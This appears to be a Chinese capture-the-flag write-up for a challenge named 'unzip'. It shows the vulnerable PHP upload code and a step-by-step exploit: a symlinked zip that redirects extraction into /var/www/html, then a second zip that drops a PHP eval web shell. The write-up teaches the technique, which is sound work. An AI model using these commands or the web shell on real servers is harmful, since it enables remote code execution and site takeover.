unzip
题目源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!
分析
关键代码
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
// -o参数:如有同名的文件直接覆盖
上传.zip
文件后
1、验证MIME值、是否为.zip
文件
2、先cd /tmp
目录,之后解压文件
解题的关键在于上传的文件在/tmp
目录下,上传的马无法访问
tips:
软连接:可以将某个目录连接到另一个目录或者文件下,那么我们以后对这个目录的任何操作,都会作用到另一个目录或者文件下。
查询unzip相关的资料,发现了这个命令可以与软连接挂钩
思路
先上传一个软连接的压缩包,解压后指向->/var/www/html/
后上传一个有软连接和马的压缩包,解压后可在线访问
1、创建软连接并压缩
mkdir hh
cd hh
ln -s /var/www/html link
zip --symlinks link.zip link
2、删除原有的link
软连接,创建与软连接同名的link
文件夹,在link
文件夹内写马,最后压缩
rm link
mkdir link
cd link
echo "<?php echo 123;eval($_POST[0]);?>" > shell.php
cd ..
zip -r link1.zip ./link
ls
3、依次上传link.zip
和link1.zip
,访问url/shell.php
说些什么吧!